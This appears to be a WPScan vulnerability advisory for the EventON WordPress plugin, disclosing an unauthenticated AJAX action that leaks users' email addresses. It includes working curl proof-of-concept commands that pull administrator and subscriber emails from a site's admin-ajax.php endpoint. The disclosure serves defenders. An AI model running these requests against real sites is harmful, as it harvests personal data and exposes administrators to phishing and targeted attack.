EventON (Free < 2.2.8, Premium < 4.5.5) - Unauthenticated Email Address Disclosure

2024-01-1000:00:00

Erwan LR (WPScan)

eventon

unauthenticated

email disclosure

exploit

administrator

subscriber

0.004 Low

EPSS

Percentile

73.3%

JSON

Description The plugins do not have authorisation in an AJAX action, allowing unauthenticated users to retrieve email addresses of any users on the blog

To get the administrator user emails:

curl -X POST --data '_user_role=administrator' 'https://example.com/wp-admin/admin-ajax.php?action=eventon_get_virtual_users'

To get the subscriber user emails:

curl -X POST --data '_user_role=subscriber' 'https://example.com/wp-admin/admin-ajax.php?action=eventon_get_virtual_users'

etc to get others

0.004 Low

EPSS

Percentile

73.3%

JSON

Related for WPEX-ID:E370B99A-F485-42BD-96A3-60432A15A4E9